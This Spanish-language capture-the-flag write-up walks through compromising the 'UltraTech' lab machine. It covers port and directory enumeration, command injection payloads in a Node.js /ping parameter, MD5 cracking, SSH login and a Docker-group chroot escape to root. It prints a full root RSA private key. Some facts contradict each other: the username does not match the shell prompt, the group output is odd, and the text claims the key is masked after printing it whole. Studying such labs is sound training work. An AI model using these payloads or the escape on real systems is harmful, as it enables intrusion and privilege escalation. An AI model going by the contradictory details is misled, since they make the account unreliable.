Compromiso de la máquina UltraTech
Información General
Nombre de la máquina: UltraTech
Dirección IP: 10.10.166.75
Sistema Operativo: Linux (Ubuntu, según versiones de software)
Objetivo: Obtener acceso como
root
y extraer flags o evidencias.
Parte 1: Reconocimiento
Teoría
El reconocimiento inicial es la fase crítica donde se identifican los activos y servicios expuestos del objetivo. Se utilizan escaneos de puertos para descubrir puertos abiertos y sus servicios asociados, incluyendo versiones y configuraciones, lo que ayuda a perfilar posibles vectores de ataque.
Herramientas y Comandos
Se utilizó nmap
para el escaneo de puertos y detección de servicios.
┌──(kali㉿kali)-[~/ultratech]
└─$ nmap -p- -n -Pn -sS --min-rate 5000 10.10.166.75 -oG ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 23:51 EDT
Nmap scan report for 10.10.166.75
Host is up (0.18s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8081/tcp open blackice-icecap
31331/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 14.28 seconds
Una vez identificados los puertos abiertos, se realizó un escaneo más detallado para la detección de versiones y scripts de vulnerabilidad.
┌──(kali㉿kali)-[~/ultratech]
└─$ nmap -sVC -p21,22,8081,31331 10.10.166.75 -oX report.xml
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 23:52 EDT
Nmap scan report for 10.10.166.75
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Resultados relevantes
Los puertos abiertos y servicios identificados son:
21/tcp:
ftp
vsftpd 3.0.322/tcp:
ssh
OpenSSH 7.6p1 Ubuntu 4ubuntu0.38081/tcp:
http
Node.js Express framework (Sin título, con CORS para HEAD, GET, POST, PUT, DELETE, PATCH)31331/tcp:
http
Apache httpd 2.4.29 (Ubuntu) (Título: "UltraTech - The best of technology (AI, FinTech, Big Data)")
Parte 2: Enumeración
Teoría
La enumeración se enfoca en profundizar en los servicios expuestos para descubrir información que pueda conducir a un vector de ataque. Para los servicios web (puertos 8081 y 31331), esto implica el descubrimiento de rutas y archivos ocultos, y la revisión del código accesible públicamente.
Herramientas y técnicas
Se utilizó gobuster
para el descubrimiento de directorios en ambos servicios HTTP.
Enumeración en el puerto 8081 (Node.js Express):
┌──(kali㉿kali)-[~/ultratech]
└─$ gobuster dir -u http://ultratech.thm:8081 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.js,.json,.html -t 10
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://ultratech.thm:8081
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,js,json,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/auth (Status: 200) [Size: 39]
/ping (Status: 500) [Size: 1094]
Progress: 23720 / 23725 (99.98%)
===============================================================
Finished
===============================================================
Resultados
Al ingresar al sitio web en el puerto 8081, se encontró lo siguiente:
Se identificaron las rutas /auth
y /ping
.
Al acceder a
/auth
, se obtiene el mensaje "You must specify a login and a password", lo que sugiere un endpoint de autenticación.Al acceder a
/ping
, se encontró la siguiente información de error:El error
TypeError: Cannot read property 'replace' of undefined
con un stack trace revela el archivo/home/www/api/index.js
en la línea 45.
Enumeración en el puerto 31331 (Apache httpd):
┌──(kali㉿kali)-[~/ultratech]
└─$ gobuster dir -u http://ultratech.thm:31331 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.js,.json,.html -t 10
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://ultratech.thm:31331
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,js,json
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
# ... (otras rutas y errores 403/301 omitidos por brevedad)
/partners.html (Status: 200) [Size: 1986]
/js (Status: 301) [Size: 320] [--> http://ultratech.thm:31331/js/]
# ... (otras rutas omitidas por brevedad)
===============================================================
Finished
===============================================================
Se identificó la ruta /partners.html
y el directorio /js
.
Al acceder a
http://ultratech.thm:31331/partners.html
, se encontró un formulario de autenticación.El código fuente de
/partners.html
reveló que el formulario usabamethod='GET'
para enviar los parámetroslogin
ypassword
.La inspección del archivo
http://ultratech.thm:31331/js/api.js
(enlazado desdepartners.html
y encontrado en la enumeración) fue crítica:(function() { console.warn('Debugging ::'); function getAPIURL() { return `${window.location.hostname}:8081` } function checkAPIStatus() { const req = new XMLHttpRequest(); try { const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}` // ¡Ruta y parámetro revelados! req.open('GET', url, true); req.onload = function (e) { if (req.readyState === 4) { if (req.status === 200) { console.log('The api seems to be running') } else { console.error(req.statusText); } } }; req.onerror = function (e) { console.error(xhr.statusText); }; req.send(null); } catch (e) { console.error(e) console.log('API Error'); } } checkAPIStatus() const interval = setInterval(checkAPIStatus, 10000); const form = document.querySelector('form') form.action = `http://${getAPIURL()}/auth`; // Destino del formulario de auth })();
Este script confirmó que el endpoint
/ping
en el puerto 8081 espera un parámetro llamadoip
(/ping?ip=...
), lo que explicaba elTypeError
inicial. También confirmó que el formulario de autenticación enpartners.html
envía datos al endpoint/auth
en el puerto 8081.
Parte 3: Explotación
Teoría
La identificación del endpoint /ping
con el parámetro ip
(/ping?ip=...
) y la naturaleza de un servicio "ping" sugieren una alta probabilidad de Inyección de Comandos (Command Injection). Esto ocurre cuando una aplicación ejecuta un comando del sistema con la entrada del usuario sin una sanitización adecuada, permitiendo al atacante inyectar comandos adicionales.
Herramienta o script utilizado
Explotación manual utilizando curl
.
Comando y resultado
Validación de la inyección de comandos: Se probó la inyección de comandos con un comando de ping a la máquina atacante (Kali).
# En la máquina atacante (Kali), abrir un listener tcpdump para ICMP ┌──(kali㉿kali)-[~] └─$ sudo tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 19:04:29.356153 IP ultratech.thm > 10.6.17.22: ICMP echo request, id 1769, seq 1, length 64 19:04:29.356182 IP 10.6.17.22 > ultratech.thm: ICMP echo reply, id 1769, seq 1, length 64 19:04:35.002992 IP ultratech.thm > 10.6.17.22: ICMP echo request, id 1771, seq 1, length 64 19:04:35.003033 IP 10.6.17.22 > ultratech.thm: ICMP echo reply, id 1771, seq 1, length 64 ^C 4 packets captured 4 packets received by filter 0 packets dropped by kernel
Al enviar la solicitud HTTP:
curl "http://ultratech.thm:8081/ping?ip=10.6.17.22"
La respuesta web del servidor fue:
Esto confirmó la ejecución del comando
ping
en el objetivo al observar los paquetes ICMP entcpdump
.Exfiltración de comandos con backticks para exfiltración: Se utilizó el operador backtick (
`
) para ejecutar comandos y redirigir su salida al comandoping
, esperando que la salida se incluyera en la respuesta HTTP.curl "http://ultratech.thm:8081/ping?ip=;`id`"
ping: groups=1002(www): Temporary failure in name resolution
Este error indica que el comando
id
se ejecutó, peroping
intentó interpretar su salida (groups=...
) como un hostname. Esto confirma la inyección, pero el output no se muestra directamente en el cuerpo de la respuesta HTTP, solo el error.curl "http://ultratech.thm:8081/ping?ip=;`ls`"
La respuesta web del servidor fue:
Aquí, el comando
ls
se ejecutó y su salida (utech.db.sqlite
) fue interpretada porping
como un hostname, pero el nombre del archivo se reveló en el mensaje de error.Exfiltración de credenciales de la base de datos
utech.db.sqlite
: Al confirmar quels
mostrabautech.db.sqlite
y que la inyección funcionaba ciegamente, se intentócat
ear el contenido de este archivo.curl "http://ultratech.thm:8081/ping?ip=;`cat utech.db.sqlite`"
La respuesta web del servidor fue:
La salida de
cat
incluyó la cadenaf357a0c52799563c7c7b76c1e7543a32
mezclada con un mensaje de error.Descifrado de Hash y Acceso SSH: La cadena
f357a0c52799563c7c7b76c1e7543a32
se identificó como un hash MD5. Al consultarlo en CrackStation.net, se obtuvo la credencial:f357a0c52799563c7c7b76c1e7543a32:n100906
Esto reveló el nombre de usuarion100906
y su contraseñan100906
.Se procedió a iniciar sesión vía SSH con estas credenciales:
ssh n100906@10.10.166.75 # Password: n100906
Acceso obtenido como usuario
n100906
.
Parte 4: Escalada de Privilegios
Teoría
La escalada de privilegios es el proceso de obtener un mayor nivel de acceso en un sistema. En Linux, la pertenencia a ciertos grupos (docker
, sudo
) puede permitir a un usuario común ejecutar comandos con privilegios elevados.
Método aplicado
Enumeración de grupos del usuario para identificar posibles vectores de escalada, seguido del abuso de permisos de Docker.
Comando y resultado
Una vez dentro de la shell SSH como n100906
, se verificaron los grupos a los que pertenecía el usuario:
r00t@ultratech-prod:/$ groups
root docker
La pertenencia al grupo docker
es un vector de escalada de privilegios bien conocido, ya que permite a un usuario ejecutar comandos como root
al interactuar con el daemon de Docker.
Se intentaron varios comandos docker run
para escapar del contenedor y obtener una shell de root, aunque algunos intentos iniciales fallaron debido a imágenes no encontradas o errores de conexión. El intento de sudo docker run
también falló, confirmando que n100906
no estaba en sudoers
.
Finalmente, una variante exitosa de Docker escape para obtener una shell de root fue:
r00t@ultratech-prod:/$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
Este comando monta el sistema de archivos raíz del host (/
) dentro del contenedor en /mnt
, y luego ejecuta un chroot
a /mnt
para cambiar el directorio raíz a la del host, obteniendo así una shell de root
.
Confirmación de privilegios:
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Se obtuvo acceso como root
(uid=0, gid=0).
Parte 5: Post-Explotación
Una vez como root
, se exploró el sistema de archivos para encontrar información sensible y la clave privada SSH.
Se exploró el directorio .ssh
de root
para buscar claves SSH privadas que pudieran usarse para acceso persistente o lateral.
root@492fc7122a0a:~# cd .ssh
root@492fc7122a0a:~/.ssh# ls
authorized_keys id_rsa id_rsa.pub
root@492fc7122a0a:~/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
sIOfoEC+vvs9SRxy8yNBQ2bx2kLYqoZpDJOuTC4Y7VIb+3xeLjhmvtNQGofffkQA
jSMMlh1MG14fOInXKTRQF8hPBWKB38BPdlNgm7dR5PUGFWni15ucYgCGq1Utc5PP
NZVxika+pr/U0Ux4620MzJW899lDG6orIoJo739fmMyrQUjKRnp8xXBv/YezoF8D
hQaP7omtbyo0dczKGkeAVCe6ARh8woiVd2zz5SHDoeZLe1ln4KSbIL3EiMQMzOpc
jNn7oD+rqmh/ygoXL3yFRAowi+LFdkkS0gqgmwIDAQABAoIBACbTwm5Z7xQu7m2J
tiYmvoSu10cK1UWkVQn/fAojoKHF90XsaK5QMDdhLlOnNXXRr1Ecn0cLzfLJoE3h
YwcpodWg6dQsOIW740Yu0Ulr1TiiZzOANfWJ679Akag7IK2UMGwZAMDikfV6nBGD
wbwZOwXXkEWIeC3PUedMf5wQrFI0mG+mRwWFd06xl6FioC9gIpV4RaZT92nbGfoM
BWr8KszHw0t7Cp3CT2OBzL2XoMg/NWFU0iBEBg8n8fk67Y59m49xED7VgupK5Ad1
5neOFdep8rydYbFpVLw8sv96GN5tb/i5KQPC1uO64YuC5ZOyKE30jX4gjAC8rafg
o1macDECgYEA4fTHFz1uRohrRkZiTGzEp9VUPNonMyKYHi2FaSTU1Vmp6A0vbBWW
tnuyiubefzK5DyDEf2YdhEE7PJbMBjnCWQJCtOaSCz/RZ7ET9pAMvo4MvTFs3I97
eDM3HWDdrmrK1hTaOTmvbV8DM9sNqgJVsH24ztLBWRRU4gOsP4a76s0CgYEA0LK/
/kh/lkReyAurcu7F00fIn1hdTvqa8/wUYq5efHoZg8pba2j7Z8g9GVqKtMnFA0w6
t1KmELIf55zwFh3i5MmneUJo6gYSXx2AqvWsFtddLljAVKpbLBl6szq4wVejoDye
lEdFfTHlYaN2ieZADsbgAKs27/q/ZgNqZVI+CQcCgYAO3sYPcHqGZ8nviQhFEU9r
4C04B/9WbStnqQVDoynilJEK9XsueMk/Xyqj24e/BT6KkVR9MeI1ZvmYBjCNJFX2
96AeOaJY3S1RzqSKsHY2QDD0boFEjqjIg05YP5y3Ms4AgsTNyU8TOpKCYiMnEhpD
kDKOYe5Zh24Cpc07LQnG7QKBgCZ1WjYUzBY34TOCGwUiBSiLKOhcU02TluxxPpx0
v4q2wW7s4m3nubSFTOUYL0ljiT+zU3qm611WRdTbsc6RkVdR5d/NoiHGHqqSeDyI
6z6GT3CUAFVZ01VMGLVgk91lNgz4PszaWW7ZvAiDI/wDhzhx46Ob6ZLNpWm6JWgo
gLAPAoGAdCXCHyTfKI/80YMmdp/k11Wj4TQuZ6zgFtUorstRddYAGt8peW3xFqLn
MrOulVZcSUXnezTs3f8TCsH1Yk/2ue8+GmtlZe/3pHRBW0YJIAaHWg5k2I3hsdAz
bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo=
-----END RSA PRIVATE KEY-----
Se encontró y extrajo la clave privada id_rsa
del usuario root
, que permite acceso directo por SSH como root
.
Parte 6: Flags o evidencias obtenidas
Hash de contraseña extraído y descifrado (Flag):
Hash:
f357a0c52799563c7c7b76c1e7543a32
Descifrado: La clave de la flag obtenida al descifrar el hash fue
n100906
.
CTF{n100906}
Clave Privada SSH de root:
-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm [...] 96AeOaJY3S1RzqSKsHY2QDD0boFEjqjIg05YP5y3Ms4AgsTNyU8TOpKCYiMnEhpD [...] bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo= -----END RSA PRIVATE KEY-----
(El contenido completo de la clave ha sido enmascarado por seguridad).
Recomendaciones de Seguridad
Validación y Sanitización de Entrada: Implementar validación estricta y sanitización de toda la entrada del usuario en las aplicaciones web, especialmente en funciones que interactúan con comandos del sistema (
/ping
). Utilizar listas blancas de caracteres permitidos y evitar la ejecución directa de comandos con entrada no confiable.Actualización de Software: Actualizar los servicios y frameworks a sus últimas versiones estables (vsftpd, OpenSSH, Apache 2.4.29, Node.js Express). Las versiones antiguas pueden contener vulnerabilidades conocidas que son explotables.
Configuración de CORS: Revisar la configuración de CORS en el framework Node.js Express para restringir los orígenes permitidos y los métodos HTTP si no son necesarios para evitar posibles ataques CSRF o exfiltración de datos.
Gestión de Credenciales: No almacenar credenciales de bases de datos o usuarios en archivos planos o de fácil acceso (
utech.db.sqlite
). Utilizar variables de entorno, servicios de gestión de secretos o configuraciones de acceso más seguras.Seguridad del Grupo Docker: La pertenencia al grupo
docker
debe ser estrictamente controlada, ya que equivale a tener privilegios deroot
en el sistema. Los usuarios que no requieran gestionar contenedores directamente no deben pertenecer a este grupo.Remoción de Información de Depuración: Eliminar la información de depuración y los stack traces detallados (
TypeError: Cannot read property 'replace' of undefined
) de los entornos de producción, ya que revelan rutas de archivos internas y detalles de la lógica de la aplicación que pueden ser explotados.Restricciones de Shell: Configurar el shell de manera que no permita la ejecución de comandos arbitrarios a través de operadores de redirección (
``,
;,
&&,
||`, etc.) si no es estrictamente necesario, o usar funciones de ejecución de comandos que no invoquen un shell completo.Protección de Claves SSH: Las claves privadas SSH deben protegerse con contraseñas robustas y tener permisos de archivo restrictivos (
chmod 600
). Las claves de root no deben estar expuestas directamente en el sistema de archivos.
Última actualización